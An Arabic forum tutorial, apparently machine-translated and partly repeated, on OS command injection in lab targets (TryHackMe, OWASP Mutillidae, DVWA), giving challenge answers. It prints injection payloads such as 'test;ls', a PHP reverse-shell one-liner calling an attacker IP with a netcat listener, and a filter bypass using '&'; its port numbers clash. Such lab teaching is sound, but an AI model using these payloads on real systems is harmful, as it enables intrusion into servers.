





السمعة:
- إنضم15 سبتمبر 2023
- المشاركات 263
- الحلول 5
- مستوى التفاعل 303
- النقاط 63
السلام عليكم
في البدايه
سنتناقش في خمسة مواضيع :
ما هي command injection
هي ثغره تسمح للمهاجم بتنفيذ اوامر نظام التشغيل على server الذي يشغل تطبيق الويب
ما مخاطرها
عادةً، بمجرد اكتشافها، تسمح للمهاجم بالتلاعب بالتطبيق بشكل كامل والوصول إلى كل بياناته، وفي بعض الأحيان يمكن استخدام command injection للتسلل إلى أجزاء أخرى من بنية المضيف، ويمكن استخدامها لنقل الهجوم إلى أنظمة أخرى داخل المؤسسة. , يمكن أن تكون ثغرة خطيرة حقًا.
تتيح لنا تنفيذ أوامر النظام على الخادم، مما يعني أنه يمكننا رؤية الملفات،وفحص مجلد كلمات المرور، حذف الملفات، وربما حتى إقامة اتصال عكسي.
ولكن كيف يمكننا فعل ذلك بالضبط ومتى يمكننا العثور على هذه الثغرة؟
لنلقي نظرة على مثال.
من النظرية، لنفترض أن لدينا تطبيق ويب بسيط يسمح للأشخاص بقراءة قصص مختلفه
يعرض لك قائمة بالقصص المتاحة وتكتب أي قصة ترغب في قراءتها. لنفترض أن تلك القصص مخزنة في ملفات نصية على الخادم، عندما يقوم العميل بإدخال اسم
القصة التي يريد قراءتها، يقوم الخادم بمعالجة محتوى القصص، في الملف النصي،
ثم يخرجها مرة أخرى إلى صفحة الويب.
الآن، هذا مثال بسيط جدًا، ولكنه سيمنحنا فهمًا جيدًا عن command injection.
وما رأينا هنا كان استخدامًا طبيعيًا لهذا التطبيق الويب.
لكن المشكلة يمكن أن تحدث إذا قام الموقع بمعالجة محتوى القصة ذاتها من خلال تطبيق الويب
دون أن يتم تصفية user input بخصوص الأحرف والتعليقات التي يمكنها تلقيها.
دعوني أشرح ذلك بشكل أفضل قليلاً.
على سبيل المثال، لنفترض أن هذا التطبيق يقرأ محتوى ملف النص بمساعدة الأمر "cat"
نقوم بكتابة اسم القصة ويحصل على القصة، يقرأ الناتج ويعيده إلى تطبيق الويب
لكن ماذا يحدث إذا أدخلنا هذا، على سبيل المثال؟
ولذلك يجب عليكم معرفة أوامر terminal
واما ما قمنا به هنا هو ببساطة كتابة هذه القصة التي نريد قراءتها.ثم دم، الذي في مثالنا
ولماذا الفاصله المنقوطه لانها عامةً تقوم بفصل الاوامر وتنفيذ امر تلو الاخر وفي حالتنا قد فصلت بين الامر نفذته هذا الامر الذي فيه الكود وقمنا بكتابة امر whoami
وهذا يعني اننا خرجنا من الفقره البرمجيه وقمنا بتنفيذ الامر
والان النص الذي سيعالجه هو
يبدو مثل هذا: "cat story one، .TXT". وبعد تنفيذ ذلك، سينفذ "who am I؟"
وإذا كان الموقع عرضة command injection ولم يقم بعمل filter لإدخالنا، سنحصل على
الناتج كهذا سيعرض قصه ثم يتطبق امر whoami مما يجعلنا نراه في الصفحه ونرا ايضا انه من طبق تلك التعليمه او الامر هو root
بشكل عام تبدو الثغره مثل هذا
نجد user input الذي قد يتم معالجته بواسطة النظام.
نقوم بإضافة إدخال طبيعي ونربط أمر إضافي به
.
وإذا لم يتم عمل filter الإدخال، سيتم معالجة كلا الأمرين وستعطينا كل واحد منهما.
هذه النتائج. الآن، دعونا نرى كيف يبدو ذلك عملياً.
إنه أكثر مثل ما ستقوم به بعد العثور على ثغرة.
ولن نقوم بحل كل هذه التحديات ومحاولة اختراق المنصة.
ومع ذلك، قد نقوم ببعضها فقط لنرى ما إذا كنا نستطيع حلها.
لذا انتقل إلى حقن الأوامر الخاص بك، وهي مهمة رقم خمسة، تأكد من أنها حقن الأوامر
لذا ننتقل الى السؤال الاول
يسأل عن ما هو ملف النص الغريب في دليل جذر الموقع.
حسنًا، نعلم بالفعل كيف يمكننا فعل ذلك لعرض جميع الملفات في تلك الدليل،
نقوم بكتابة اي شئ في البدايه ك test ومن ثم ; ومن ثم اسم الامر المراد تطبيقه هو الان يريدنا ان نعرض جميع الملفات في تلك الدليل، الامر ls
test;ls
ولنعود إلى السؤال مرة أخرى .نبحث عن ملف نص غريب. وتقريبًا، النص الوحيد الذي لدينا هنا هو .
لننتقل إلى السؤال الثاني الآن.
يسأل كم عدد المستخدمين من غير الجذر/غير الخدمة/غير الخفي؟
حسنًا، قد يكون هذا أمرًا صعبًا قليلاً لأنه يمكننا فعل شيء مثل هذا، حتى اختبار الفاصلة
الآن، نحن نبحث عن مستخدمين غير الجذر وغير الخدمة.
وإذا نظرنا إلى هذا الإخراج الذي نحصل عليه هنا من مجلد etc/passwd/، حسنًا،
عمومًا ليس لدينا أي مستخدم شخصي خارج كل المستخدمين الآخرين المرتبطين بخدمة مثل
بروكسي، مثل الدخول بدون تسجيل الدخول، مثل الشبكة وكل ذلك.إذا كانت الإجابة على هذا يجب أن تكون صفر.
ننتقل للسؤال الثالث
السؤال الثالث ،ما هو المستخدم الذي يعمل عليه هذا التطبيق
نطبق الامر
لنقم بنسخ ذلك وتقديمه للإجابة الثالثة.
السؤال الرابع هو: ما هو مجلد المستخدمين؟
الآن، هذا شيء يمكنك أيضًا محاولة البحث عنه داخل مجلد etc/passwd/
دعوني اريكم كيف من خلال تطبيق امر test ;whoami
ستحصل على هذا الإخراج وكل ما تريد فعله هنا هو محاولة العثور على www-datauser.
في نهاية سطر تلك المستخدمين، يجب أن نكون قادرين على العثور على مسار المطلوب
لنجرب لنأمل أن هذا هو المسار الذي نحصل عليه. وإذا قمت بتعيينه هنا، دعونا نرى ما إذا كان صحيحًا وهو في الواقع صحيح.
والبحث عن www-datauser.وفي نهاية السطر، ستجد المسار.
هذه هي إجابة على سؤال ما هو مجلد المستخدمين؟
?>>>>>??????>
لننتقل للسؤال الخامس
الآن السؤال الخامس هو ما إصدار ubuntuالذي يعمل؟
ومعظم هذه الأسئلة شيء يمكننا بالفعل البحث عنه عبر جوجل إذا لم نكن نعلم حقًا.
لذلك، على سبيل المثال، دعونا نقول إننا لا نعرف ما هي الأمر يمكننا استخدامه لاكتشاف إصدار Ubuntu؟
يمكننا أن نجرب شيئًا كهذا. في خانة البحث
how to check ubuntu version
اضغط على Enter ويمكننا زيارة الرابط الأول أو الثاني.
لنذهب مع هذا.كيفية التحقق من إصدار الأوبونتو. وفي الأفضل، نريد أمرًا يستخدم للقيام بذلك.
لنجرب إذا نسخنا هذا الأمر.
حسنًا، لدينا الإخراج هنا هو إصدار الأوبونتو
والان السؤال الاخير اطبع MOTD. ما هو المشروب المفضل المعروض؟
٩٩٪ منكم ستنظرون إلى هذا السؤال وتتساءلون حتى ما هذه التسمية حتى.
ولكن أنصحك بالذهاب مباشرةً إلى التلميح.
كيف يمكننا القيام بذلك؟
حسنًا، يمكننا استخدام أمر locate الذي يدعمه معظم أنظمة Linux، لذلك نقول test ثم ;
وبالمناسبة، فقط حتى لا تحتار، لا تحتاج إلى كتابة test في كل مرة يمكنك
كتابة ايشئ ببساطة تستطيع كتابة أي شيء على الإطلاق، يمكنك كتابة test one, two, three.
الكلمة التي تكتبها قبل هذه الفاصلة ليست هامة حقًا في هذه الحالة.
يمكنك كتابة أي شيء تقريبًا وبعد ذلك فاصلة منقوطة ومن ثم يأتي الأمر المهم.
إذًا تريد locate. ثم اسم الملف الذي نريد ان نبحث عنه
نحن نحصل على هذا الاخراج الذي هو مسار
ما علينا فعله الان هو الدخول في هذا المسار ومن ثم قرائة 00-header
إذا هنا نحن فعلاً نحاول تنفيذ ثلاثة أوامر، الأمر الأول، الذي لا يهم حقاً ما هو في هذا المثال
على الجهاز الظاهري هذا، يمكنك حتى أن لا تستخدمه لأنه مصمم خصيصاً لتنفيذ الأوامر.
ولكن في الحياة الحقيقية، ستكون لدينا أمرًا أوليًا يجب أن يكون استخدامًا طبيعيًا لتطبيق الويب.
ثم بعد ذلك يأتي حقن الأوامر حيث نقوم بتنفيذ أمرنا الأول وفي هذه الحالة نحن
نضيف أمرًا آخر.
وامر اخر
cat 00-header
وهذا هو المخرج الذي حصلنا عليه
لذا الآن دعونا نعود إلى السؤال. اطبع MOTD. ما هو المشروب المفضل المعروض؟
لنذهب إلى الأسفل تمامًا.
وإذا قمنا بالتمرير، سنرى شيئًا مثيرًا للاهتمام هنا يقول إن Dr Pepper يجعل العالم يذوق بشكل أفضل.
الاجابه هنا Dr Pepper
ما عليك فعله هو التأكد من أن كل شيء قد بدأ بشكل صحيح، burpايضا
حتى وإن لم نقم بالبدء في استخدامه، ولكننا نحتاجه فقط في حالة ربما سنحتاج إليه.
ربما لن نحتاج إليه، ولكننا لا نعرف ذلك بالضبط أيضًا.
بالإضافة إلى ذلك، ربما يجب فتح آلة التشغيل الخاصة بك.
وعندما تكون كل هذه جاهزة، نريد التنقل إلى OWASP Mutillidae II
لنذهب مع البحث عن DNS.lookup
Who would you like to do a DNS lookup on? Enter IP or hostname
لنفترض أننا نكتب www.google.com وننقر على "البحث عن DNS".
وهذا هو الإخراج الذي نحصل عليه، ومباشرةً، فقط من الإخراج، يجب أن نلاحظ
أن هذا الإخراج يبدو متشابهًا لنا إلى حد كبير.
إنه يبدو تقريبًا نفس الشيء كإخراج امر nslookup.
وكما نعلم بالفعل من خلال معرفتنا بنظام التشغيل Linux، يتم استخدام شكل الأوامر الخاص به داخل الجهاز.
إذا كتبت www.google.com ، سنحصل تقريبًا على نفس المخرج .
ربما تستخدم هذا التطبيق نظامها لتنفيذ هذا الأمر وإعطائنا النتيجة، وعندما يحدث هذا، نعلم بالفعل أن هناك إمكانية لحقن الأوامر.
لنكتب www.google.com ثم فاصلة منقوطة ومسافة ثم دعونا نكتب who وننقر على "البحث عن DNS".
وهذا هو الإخراج الذي نحصل عليه.
كما ترى لقد لقد نفذنا امر
لدينا حقن مجتمعة، كما نرى هنا، قامت بتنفيذ أمرنا whoami، يمكننا
القيام بنفس الشيء مع ls أو أي أمر آخر يمكننا تشغيله في terminal.
في هذا الدليل الحالي.
لقد وجدنا حقن الأوامر، ولكن دعونا نأخذها خطوة أخرى.
لنحاول إنشاء reverse shell مع نظام الهدف، بمساعدة Command Execution
وإذا نظرنا إلى هذه النواتج أو هذه الملفات التي حصلنا عليها بفضل أمر ls، يبدوأن الخادم يعمل على php، وهو الأكثر شيوعًا، صراحةً.
لذا من المرجح أن الخوادم ستعمل وربما يمكننا القيام بشيء مثل reverse shell
الآن، حتى وإن لم نكن مبرمجين php، إلا أن هذا النوع من reverse shell سهل العثور عليه عبر الإنترنت.
ويكفي أن تبحث فقط عن سطر واحد reverse shell أو bash reverse shell، وسيقدم لك
أمرًا واحدًا يمكن استخدامه لإنشاء اتصال افتراضي مع kali linux الخاص بك.
لقد حصلت على واحدة من تلك الأوامر هنا.
يمكن ان تجده هنا
php -r '$sock=fsockopen("10.10.10.10",9001);shell_exec("sh <&3 >&3 2>&3");'
لنفتحه في محرر الاوامر nano
وكل ما يقوم به هذا الأمر هو تشغيل رمز حيث يقوم بإنشاء كائن مأخذ وكائن مأخذ
في لغة البرمجة هو شيء يستخدم لإقامة اتصال الشبكه فهي القوسين بين علامتي اقتباس مزدوجتين.
لدينا عنوان IP ل kali linux.
هذا هو عنوان IP kali linuxوهنا هو المنفذ الذي نريد الاتصال به.
الجزء الثاني من الأمر هو ما نريد تنفيذه عند الاتصال وهذا الجزء بأكمله ببساطة
يخبر تنفيذ أفضل shell وجعلها تعمل بأكبر قدر ممكن من الأوامر.
إذا كان هذا هو الشيء الكامل الذي يقوم به هذا الأمر.
إنه يتصل بعنوان IP لدينا على المنفذ المحدد وينفذ أفضل shellبالنسبة لنا حتى نتمكن من تنفيذ الاوامر
ولكن من أجل أن تكون الآلة الهدف، والتي في حالتنا هي دائماً owasp، قادرة على الاتصال بآلتنا
kali linux، يجب أن نستمع على منفذ مفتوح للاستماع إلى الاتصالات الواردة.
ويمكننا القيام بذلك بسهولة عن طريق فتح الطرفية وكتابة "nc -lvp" ثم
المنفذ الذي نريد الاستماع إليه، وهذا الشرط يعني ببساطة الاستماع على أي واجهة تحتلوني لها.
لديها.
لذلك لا نحدد الإصابات الدقيقة نخبر تقريبًا، استقبل الاتصال على أي واجهة تلقيت منها الاتصال.
لذلك إنها NC - LVP وبعد ذلك مسافة. وهنا نحتاج إلى منفذ.
وإذا رجعنا إلى أمرنا، دعوني أجده.
في هذا الأمر، نحدد المنفذ.
واحد، اثنان، ثلاثة، أربعة
لذا يجب أن نستخدم نفس المنفذ داخل تعليق Netcat لدينا.
لذا سنكتب "nc -lvp 1234".
وهذا تقريبًا كل ما علينا القيام به.
يقول: "الاستماع على أي واجهة على المنفذ.1234".
الآن نريد نسخ هذا الأمر. وتأكد من أنك حصلت على جميع هذه الاقتباسات الفردية والاقتباسات المزدوجة بشكل صحيح، لأنها إلا
لننزل في الوقت الحالي www.google.com ثم فاصلة منقوطة.والآن دعونا نلصق الأمر بأكمله هنا.
انقر على "البحث عن DNS" وأول شيء ستلاحظه هو أنها تحمل الصفحة، لا تقوم بإخراج أي شيء لنا، إنها مجرد تحميل مستمر.
وإذا رجعنا إلى نافذة Netcat لدينا، ها هو.
لقد فتحنا reverse shell ونحن على تلك الآلة حاليًا كـ www-data المستخدم هنا،
يمكننا تنفيذ جميع الأوامر دون الحاجة إلى الانتقال إلى صفحة الويب.
يمكننا فقط كتابة اي امر شئ نريده
حتى يمكننا حتى محاولة، على سبيل المثال، تنفيذ أحد هذه الملفات إذا أردنا.
لذا هذا أمر جيد حقًا لأنه الآن لدينا reverse shell تم إنشاؤها على الآلة المستهدفة ويمكننا فعل أي شيء نريد، بما في ذلك حذف الملفات، إنشاء ملفات، التنقل في النظام،
تحميل الملفات، تحميل الملفات وكل ذلك.
حتى وإن كنت يمكنك القيام بكل ذلك فقط بكتابة الاوامر هنا، إلا أنه من الأسهل بمجرد
إنشاء reverse shell حيث يمكنك فقط كتابة الأمر في سطر الأوامر.
الآن بعد أن قمنا بذلك في الجزء القادم مثال على استغلال حقن الأوامر
owaspbwa
هنا نحن سنقوم بتسجيل الدخول في dvwa
الآن، بمجرد وصولنا إلى هذه الصفحة، نريد الانتقال إلى هذا الجزء هنا الذي يقول .Command Executing
إنها ببساطة نفس الشيء مثل command injection ,ولكن اسم مختلف
وبالنسبة لهذا المثال الأول، تأكد من أن مستوى الأمان مضبوط على low وسنتحقق من مستوى الأمان
القليل ومستوى الأمان المتوسط.
أعتقد أنه في هذه الإصدارات الأحدث، مستوى الأمان العالي في الواقع ليس ضعيفًا.
وهو مثال على كيف يجب أن يبدو الكود عندما لا يكون المدخل ضعيفًا أو عندما يتم تصفية المدخل بشكل صحيح.
لذا هنا يخبرنا أنه مجانًا يمكننا إدخال عنوان IP وسيقوم بعمل ping إلى ذلك العنوان IP
لقد كتبت عنوان IP لجهاز التوجيه الخاص بي وقامت بثلاث طلبات ping وأخرجت النتائج هنا.
لذلك بالفعل من خلال رؤية هذه النتائج، يمكننا تخيل أن الصفحة تقوم بشيء من هذا
لذلك تتفاعل هذه الصفحة مع النظام. الآن، دعونا نحاول حقن تعليقنا لنكتب عنوان الـ IP.
وبالمناسبة، قد لا يعمل هذا العنوان IP بالنسبة لك.
هذا هو فقط عنوان IP لجهاز التوجيه الخاص بي، لذا لا تتردد في تجربته بعنوان IP
مختلفًا سواء كان عنوان IP خارجيًا أو عنوان IP محليًا داخل شبكتك.
والآن دعونا نكتب فاصلة منخفضة ولنرسل هذا الامر الذي هو ls .
وهنا حقن تعليقنا، قام بتنفيذ الأمر الثاني أيضًا، ببساطة بهذا، نجحنا في
تشغيل حقن الأوامر لدينا والآن يمكننا فعل أي شيء كما قمنا في
الاجزاء السابقة، مثل تشغيل reverse shell ، ومثل النظر إلى حسابات وكلمات مرور وغير ذلك من ذلك الامور .
لكن هذا ليس هو السبب في أدائنا لهذا المثال. نريد أن نرى كيف يمكننا أيضًا أداء حقن الأوامر على مستوى أمان متوسط.
لتغيير مستوى الأمان على الصفحة، انتقل إلى هناك يقول إلى أمان وغير من منخفض إلى متوسط.
انقر على إرسال.
لنجرب نفس الشيء. بدون ls;
الإخراج تقريبًا كما كان من قبل.
الآن، دعونا نحاول تنفيذ تعليقنا عن طريق كتابة فاصلة منخفضة ولنرسل هذا.
,ولكن لنبدأ بعنوان ip من ثم ; ثم ls
ولكن لايظهر اي شئ
وستلاحظ أنه على هذه الصفحةDVWA، لدينا الآن لديها عرض لكود المصدر لكيف يتم تصفية هذا المدخل،
وسنلقي نظرة عليه فقط لكي نرى لماذا لا تعمل حقن الأوامر الخاصة بنا الآن.
لنفتح الكود المصدر.كما ذكرت، هو مكتوب ب.php لكننا لا نحتاج حقًا إلى معرفته.
لذلك هذا هو عنوان IP الذي ندخله أو يجب أن أقول الأمر الذي ندخله.
هذا هو الجزء المهم بالنسبة لنا.
إنه يخلق مصفوفة تستخدم هذه الأحرف. وإذا رأينا فاصلة منقوطه هنا.
لذا عمومًا في كل مرة في أمرنا يرى فاصلة منقوطه ، سيغيرها إلى لا شيء.
نفس الشيء ينطبق على هاتين الجهتين أيضًا. الأمر نفسه ينطبق على &&.
وبالمناسبة، تُستخدم أيضًا && لتنفيذ أوامر مختلفة.
دعني أُظهِر لك، في الطرفيات، يمكنك كتابة شيء مثل
لذا الفاصلة المنقوطة ليست الطريقة الوحيدة التي يمكننا بها دمج الأوامر، ونستطيع رؤية أن كلا هاتين الطرقتين معمولها filter
سيتم استبدالهما بلا شيء في هذا السطر هنا.
وهذا هو السبب في عدم عمل أمرنا.
هل يعني هذا أن المدخل غير متاح؟ حسنًا، ليس حقيقيًا. هناك طرق أخرى يمكننا من خلالها دمج الأوامر.
على سبيل المثال يمكننا كتابة & عندها فقد تخطينا الحمايه لاننا لم نجد filter عليها
لنكتب whoami هذه المرة؟
فقط باستخدام إشارة واحدة لفصل الأوامر.
ونحصل على إخراج كلاهما مرة أخرى، فقط إنتاج كل من who am I في منتصف هذا التعليق.
ذلك لأنه
عند كتابة إشارة واحدة فقط وليس اثنتين، يُنفَّذ كلا الأمرين بشكل متزامن.
وأي ناتج يظهر أولاً سيتم طباعته هنا.
وحالياً حصلنا على إخراج من whoami في منتصف تعليق ping.
ولكن قمنا بتشغيل حقن الأوامر على مستوى أمان متوسط.
وفي الواقع، ليس لديك حقيقة الشيفرة المصدرية هنا، لن تكون قادرًا على رؤية الشيفرة.
ومع ذلك، يمكنك تجربة كل هذه الإشارات، يمكنك تجربة الفاصلة المنقوطة، يمكنك تجربة &
يمكنك أيضًا تجربة رموز لتنفيذ أوامر مختلفة. ويمكن أن تكون كل تلك الأشياء مصفَّاة أو ربما معظمها مصفاة.
ولكن يمكنك العثور على إشارة واحدة لا تتم مصفيتها والتي ستتيح لك تنفيذ حقن الأوامر.
لذا مجرد محاولة كل هذه الطرق ورؤية ما إذا كان أيٌّ منها يعمل.
وايضا يمكنك فعلها اتوماتيكيا عبر تطبيق burp
المصادر هنا
يرجى المراجعه قد يكون هناك اخطاء @STORM
في البدايه
سنتناقش في خمسة مواضيع :
1-Command Injection Theory
2-Command Injection On TryHackMe and Blind Command Injection
3-Solving Challenges With Command Injection
4-Running PHP Reverse Shell With Command Execution Vulnerability
5-Bypassing Input Filter And Executing Command
Command Injection Theory
ما هي command injection
هي ثغره تسمح للمهاجم بتنفيذ اوامر نظام التشغيل على server الذي يشغل تطبيق الويب
ما مخاطرها
عادةً، بمجرد اكتشافها، تسمح للمهاجم بالتلاعب بالتطبيق بشكل كامل والوصول إلى كل بياناته، وفي بعض الأحيان يمكن استخدام command injection للتسلل إلى أجزاء أخرى من بنية المضيف، ويمكن استخدامها لنقل الهجوم إلى أنظمة أخرى داخل المؤسسة. , يمكن أن تكون ثغرة خطيرة حقًا.
تتيح لنا تنفيذ أوامر النظام على الخادم، مما يعني أنه يمكننا رؤية الملفات،وفحص مجلد كلمات المرور، حذف الملفات، وربما حتى إقامة اتصال عكسي.
ولكن كيف يمكننا فعل ذلك بالضبط ومتى يمكننا العثور على هذه الثغرة؟
لنلقي نظرة على مثال.
من النظرية، لنفترض أن لدينا تطبيق ويب بسيط يسمح للأشخاص بقراءة قصص مختلفه
يعرض لك قائمة بالقصص المتاحة وتكتب أي قصة ترغب في قراءتها. لنفترض أن تلك القصص مخزنة في ملفات نصية على الخادم، عندما يقوم العميل بإدخال اسم
القصة التي يريد قراءتها، يقوم الخادم بمعالجة محتوى القصص، في الملف النصي،
ثم يخرجها مرة أخرى إلى صفحة الويب.
الآن، هذا مثال بسيط جدًا، ولكنه سيمنحنا فهمًا جيدًا عن command injection.
وما رأينا هنا كان استخدامًا طبيعيًا لهذا التطبيق الويب.
لكن المشكلة يمكن أن تحدث إذا قام الموقع بمعالجة محتوى القصة ذاتها من خلال تطبيق الويب
دون أن يتم تصفية user input بخصوص الأحرف والتعليقات التي يمكنها تلقيها.
دعوني أشرح ذلك بشكل أفضل قليلاً.
على سبيل المثال، لنفترض أن هذا التطبيق يقرأ محتوى ملف النص بمساعدة الأمر "cat"
نقوم بكتابة اسم القصة ويحصل على القصة، يقرأ الناتج ويعيده إلى تطبيق الويب
لكن ماذا يحدث إذا أدخلنا هذا، على سبيل المثال؟
ولذلك يجب عليكم معرفة أوامر terminal
واما ما قمنا به هنا هو ببساطة كتابة هذه القصة التي نريد قراءتها.ثم دم، الذي في مثالنا
ولماذا الفاصله المنقوطه لانها عامةً تقوم بفصل الاوامر وتنفيذ امر تلو الاخر وفي حالتنا قد فصلت بين الامر نفذته هذا الامر الذي فيه الكود وقمنا بكتابة امر whoami
وهذا يعني اننا خرجنا من الفقره البرمجيه وقمنا بتنفيذ الامر
والان النص الذي سيعالجه هو
يبدو مثل هذا: "cat story one، .TXT". وبعد تنفيذ ذلك، سينفذ "who am I؟"
وإذا كان الموقع عرضة command injection ولم يقم بعمل filter لإدخالنا، سنحصل على
الناتج كهذا سيعرض قصه ثم يتطبق امر whoami مما يجعلنا نراه في الصفحه ونرا ايضا انه من طبق تلك التعليمه او الامر هو root
بشكل عام تبدو الثغره مثل هذا
نجد user input الذي قد يتم معالجته بواسطة النظام.
نقوم بإضافة إدخال طبيعي ونربط أمر إضافي به
.
وإذا لم يتم عمل filter الإدخال، سيتم معالجة كلا الأمرين وستعطينا كل واحد منهما.
هذه النتائج. الآن، دعونا نرى كيف يبدو ذلك عملياً.
2-Command Injection On TryHackMe and Blind Command Injection
لنحاول حل هذه التحديات داخل مهمة حقن الأوامر الخاصة بنا.إنه أكثر مثل ما ستقوم به بعد العثور على ثغرة.
ولن نقوم بحل كل هذه التحديات ومحاولة اختراق المنصة.
ومع ذلك، قد نقوم ببعضها فقط لنرى ما إذا كنا نستطيع حلها.
لذا انتقل إلى حقن الأوامر الخاص بك، وهي مهمة رقم خمسة، تأكد من أنها حقن الأوامر
لذا ننتقل الى السؤال الاول
يسأل عن ما هو ملف النص الغريب في دليل جذر الموقع.
حسنًا، نعلم بالفعل كيف يمكننا فعل ذلك لعرض جميع الملفات في تلك الدليل،
نقوم بكتابة اي شئ في البدايه ك test ومن ثم ; ومن ثم اسم الامر المراد تطبيقه هو الان يريدنا ان نعرض جميع الملفات في تلك الدليل، الامر ls
test;ls
ولنعود إلى السؤال مرة أخرى .نبحث عن ملف نص غريب. وتقريبًا، النص الوحيد الذي لدينا هنا هو .
drpepper.txt
لننتقل إلى السؤال الثاني الآن.
يسأل كم عدد المستخدمين من غير الجذر/غير الخدمة/غير الخفي؟
حسنًا، قد يكون هذا أمرًا صعبًا قليلاً لأنه يمكننا فعل شيء مثل هذا، حتى اختبار الفاصلة
الآن، نحن نبحث عن مستخدمين غير الجذر وغير الخدمة.
وإذا نظرنا إلى هذا الإخراج الذي نحصل عليه هنا من مجلد etc/passwd/، حسنًا،
عمومًا ليس لدينا أي مستخدم شخصي خارج كل المستخدمين الآخرين المرتبطين بخدمة مثل
بروكسي، مثل الدخول بدون تسجيل الدخول، مثل الشبكة وكل ذلك.إذا كانت الإجابة على هذا يجب أن تكون صفر.
ننتقل للسؤال الثالث
السؤال الثالث ،ما هو المستخدم الذي يعمل عليه هذا التطبيق
نطبق الامر
test;whoami
لنقم بنسخ ذلك وتقديمه للإجابة الثالثة.
السؤال الرابع هو: ما هو مجلد المستخدمين؟
الآن، هذا شيء يمكنك أيضًا محاولة البحث عنه داخل مجلد etc/passwd/
دعوني اريكم كيف من خلال تطبيق امر test ;whoami
ستحصل على هذا الإخراج وكل ما تريد فعله هنا هو محاولة العثور على www-datauser.
في نهاية سطر تلك المستخدمين، يجب أن نكون قادرين على العثور على مسار المطلوب
لنجرب لنأمل أن هذا هو المسار الذي نحصل عليه. وإذا قمت بتعيينه هنا، دعونا نرى ما إذا كان صحيحًا وهو في الواقع صحيح.
والبحث عن www-datauser.وفي نهاية السطر، ستجد المسار.
هذه هي إجابة على سؤال ما هو مجلد المستخدمين؟
/usr/sbin/nologin/
?>>>>>??????>
لننتقل للسؤال الخامس
الآن السؤال الخامس هو ما إصدار ubuntuالذي يعمل؟
ومعظم هذه الأسئلة شيء يمكننا بالفعل البحث عنه عبر جوجل إذا لم نكن نعلم حقًا.
لذلك، على سبيل المثال، دعونا نقول إننا لا نعرف ما هي الأمر يمكننا استخدامه لاكتشاف إصدار Ubuntu؟
يمكننا أن نجرب شيئًا كهذا. في خانة البحث
how to check ubuntu version
اضغط على Enter ويمكننا زيارة الرابط الأول أو الثاني.
لنذهب مع هذا.كيفية التحقق من إصدار الأوبونتو. وفي الأفضل، نريد أمرًا يستخدم للقيام بذلك.
لنجرب إذا نسخنا هذا الأمر.
حسنًا، لدينا الإخراج هنا هو إصدار الأوبونتو
18.04.4
والان السؤال الاخير اطبع MOTD. ما هو المشروب المفضل المعروض؟
٩٩٪ منكم ستنظرون إلى هذا السؤال وتتساءلون حتى ما هذه التسمية حتى.
ولكن أنصحك بالذهاب مباشرةً إلى التلميح.
لذلك يمكننا أن نبدأ بهذا إذا كنا نحاول العثور على ملف يحتوي على هذا في الاسم.لذلك يقول التلميح 00-header ، وهذا يبدو وكأنه قائمة ربما، أو شيء من هذا القبيل
![]()
كيف يمكننا القيام بذلك؟
حسنًا، يمكننا استخدام أمر locate الذي يدعمه معظم أنظمة Linux، لذلك نقول test ثم ;
وبالمناسبة، فقط حتى لا تحتار، لا تحتاج إلى كتابة test في كل مرة يمكنك
كتابة ايشئ ببساطة تستطيع كتابة أي شيء على الإطلاق، يمكنك كتابة test one, two, three.
الكلمة التي تكتبها قبل هذه الفاصلة ليست هامة حقًا في هذه الحالة.
يمكنك كتابة أي شيء تقريبًا وبعد ذلك فاصلة منقوطة ومن ثم يأتي الأمر المهم.
إذًا تريد locate. ثم اسم الملف الذي نريد ان نبحث عنه
نحن نحصل على هذا الاخراج الذي هو مسار
ما علينا فعله الان هو الدخول في هذا المسار ومن ثم قرائة 00-header
إذا هنا نحن فعلاً نحاول تنفيذ ثلاثة أوامر، الأمر الأول، الذي لا يهم حقاً ما هو في هذا المثال
على الجهاز الظاهري هذا، يمكنك حتى أن لا تستخدمه لأنه مصمم خصيصاً لتنفيذ الأوامر.
ولكن في الحياة الحقيقية، ستكون لدينا أمرًا أوليًا يجب أن يكون استخدامًا طبيعيًا لتطبيق الويب.
ثم بعد ذلك يأتي حقن الأوامر حيث نقوم بتنفيذ أمرنا الأول وفي هذه الحالة نحن
نضيف أمرًا آخر.
وامر اخر
cat 00-header
وهذا هو المخرج الذي حصلنا عليه
لذا الآن دعونا نعود إلى السؤال. اطبع MOTD. ما هو المشروب المفضل المعروض؟
لنذهب إلى الأسفل تمامًا.
وإذا قمنا بالتمرير، سنرى شيئًا مثيرًا للاهتمام هنا يقول إن Dr Pepper يجعل العالم يذوق بشكل أفضل.
الاجابه هنا Dr Pepper
4-Running PHP Reverse Shell With Command Execution Vulnerability
حسنًا، دعونا نحاول حل بعض تحديات Command Execution بنظام owaspالخاص بنا.ما عليك فعله هو التأكد من أن كل شيء قد بدأ بشكل صحيح، burpايضا
حتى وإن لم نقم بالبدء في استخدامه، ولكننا نحتاجه فقط في حالة ربما سنحتاج إليه.
ربما لن نحتاج إليه، ولكننا لا نعرف ذلك بالضبط أيضًا.
بالإضافة إلى ذلك، ربما يجب فتح آلة التشغيل الخاصة بك.
وعندما تكون كل هذه جاهزة، نريد التنقل إلى OWASP Mutillidae II
لنذهب مع البحث عن DNS.lookup
Who would you like to do a DNS lookup on? Enter IP or hostname
لنفترض أننا نكتب www.google.com وننقر على "البحث عن DNS".
وهذا هو الإخراج الذي نحصل عليه، ومباشرةً، فقط من الإخراج، يجب أن نلاحظ
أن هذا الإخراج يبدو متشابهًا لنا إلى حد كبير.
إنه يبدو تقريبًا نفس الشيء كإخراج امر nslookup.
وكما نعلم بالفعل من خلال معرفتنا بنظام التشغيل Linux، يتم استخدام شكل الأوامر الخاص به داخل الجهاز.
إذا كتبت www.google.com ، سنحصل تقريبًا على نفس المخرج .
ربما تستخدم هذا التطبيق نظامها لتنفيذ هذا الأمر وإعطائنا النتيجة، وعندما يحدث هذا، نعلم بالفعل أن هناك إمكانية لحقن الأوامر.
لنكتب www.google.com ثم فاصلة منقوطة ومسافة ثم دعونا نكتب who وننقر على "البحث عن DNS".
وهذا هو الإخراج الذي نحصل عليه.
كما ترى لقد لقد نفذنا امر
لدينا حقن مجتمعة، كما نرى هنا، قامت بتنفيذ أمرنا whoami، يمكننا
القيام بنفس الشيء مع ls أو أي أمر آخر يمكننا تشغيله في terminal.
في هذا الدليل الحالي.
لقد وجدنا حقن الأوامر، ولكن دعونا نأخذها خطوة أخرى.
لنحاول إنشاء reverse shell مع نظام الهدف، بمساعدة Command Execution
وإذا نظرنا إلى هذه النواتج أو هذه الملفات التي حصلنا عليها بفضل أمر ls، يبدوأن الخادم يعمل على php، وهو الأكثر شيوعًا، صراحةً.
لذا من المرجح أن الخوادم ستعمل وربما يمكننا القيام بشيء مثل reverse shell
